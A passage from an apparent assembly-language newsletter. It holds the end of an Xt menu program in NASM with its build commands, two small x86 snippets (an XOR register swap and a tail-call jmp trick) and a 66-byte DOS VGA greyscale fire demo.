AddMenuItem FileMenu, FileMenu.Open, FileMenu.OpenID, CBMenuSelect AddMenuItem FileMenu, FileMenu.Save, FileMenu.SaveID, CBMenuSelect AddMenuItem FileMenu, FileMenu.Close, FileMenu.CloseID, CBMenuSelect AddMenuSeparator FileMenu AddMenuItem FileMenu, FileMenu.Exit, FileMenu.ExitID, CBMenuSelect ;-------Build Help Menu AddMenuItem HelpMenu, HelpMenu.About, HelpMenu.AboutID, CBMenuSelect ;-------Show Top-Level Widget ShowXtWidget Shell.ptr ;-------Enter Xt Application Loop XtAppLoop AppContext ;___Compile_Strings_________________________________________ ; nasm -f elf xtmenu.asm ; gcc -o xtmenu xtmenu.o -lXaw -lXt -lX11 -L/usr/X11R6/lib ;==========================================================================-EOF The strings needed to compile and link Xt assembly apps are provided at the end of the file. Note once again how short the main application code is; the menu data could easily be moved into an xtmenu.inc file and thereby trim the "apparent size" of the application down to the initialization code and the callback. Further automation could involve creating a "resource editor" which would produce .INC files compatible with the Xt.inc macros, as well as creating high-level calls to automatically adjust the stack and high-level structures to deal with message handling in the callback. ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::................................ASSEMBLY.LANGUAGE.SNIPPETS Triple XOR by Jan Verhoeven ;Summary: exchange the contents of two registers using ; as few storage locations as possible ;Compatibility: all x86 assemblers ;Notes: Will work for memory locations, etc xor ax, bx xor bx, ax xor ax, bx Trailing Calls by Jan Verhoeven ;This is really more of a trick than a snippet. It is quite common to come ;across code such as cmp ax, [Sector][2] jne >L0 inc ax L0: call TestDrive ret ;This amounts to two ret's, one in the above code and one in the TestDrive ;routine. To save a bit of space and overhead, we can make use of TestDrive's ;ret to return from our own routine: cmp ax, [Sector][2] jne >L0 inc ax L0: jmp TestDrive ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................ISSUE.CHALLENGE Fire Demo in < 100 bytes by iCE [Another preface, I must be getting wordy in my old age. I received this code from iCE as a potential snippet or challenge; I chose to include it as the latter, for it put a nice spin on one of the classic asm learning programs: the VGA fire demo. I have not pushed iCE for a commentary as the code is rather clear; it produces a small greyscale fire [roughly a third of the screen in my DOS VMWare box] that runs until a key is pressed. The key is using the greyscale as a sort of dynamic palette; this eliminates the need for a costly color palette that is easily 100 bytes itself. Although to be sure, the program now runs the risk of being renamed "static.asm" ;) _m ] ; 66 bytes Graphic Fire demo. ; assemble using 'Tasm FIRE.ASM' and 'Tlink /t FIRE.OBJ' ;======================================================================FIRE.ASM .MODEL TINY .CODE .386 ORG 100H START: push 0a000h pop es push es pop ds mov al,13h ; mode 13h. (AX=0) int 10h ; gray-scale routine mov dx,3c8h CBW ; set ax=0 out dx,al inc dx gs_loop: out dx,al out dx,al out dx,al inc ax jnz short gs_loop ;--- MainLoop: mov si,1280 ; mov ch,5dh ; y-pos, the less the faster demo push si push cx Sloop: lodsb add al,[si] ; pick color and add al,[si+320] ; pick one more and shr al,2 ; divide, we got a ; 'smooth-fire-routine' mov [si-960],al ; put color loop short Sloop pop di pop cx Randoml: mul word ptr [di+1] ; 'random' routine. inc ax stosw loop short Randoml MOV AH,1 ; check keypress INT 16h Jz short MainLoop ;--- Die: mov ax,3 ; text-mode int 10h ret ; A com program may end using ret END start ;==========================================================================-EOF ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::.......................................................FIN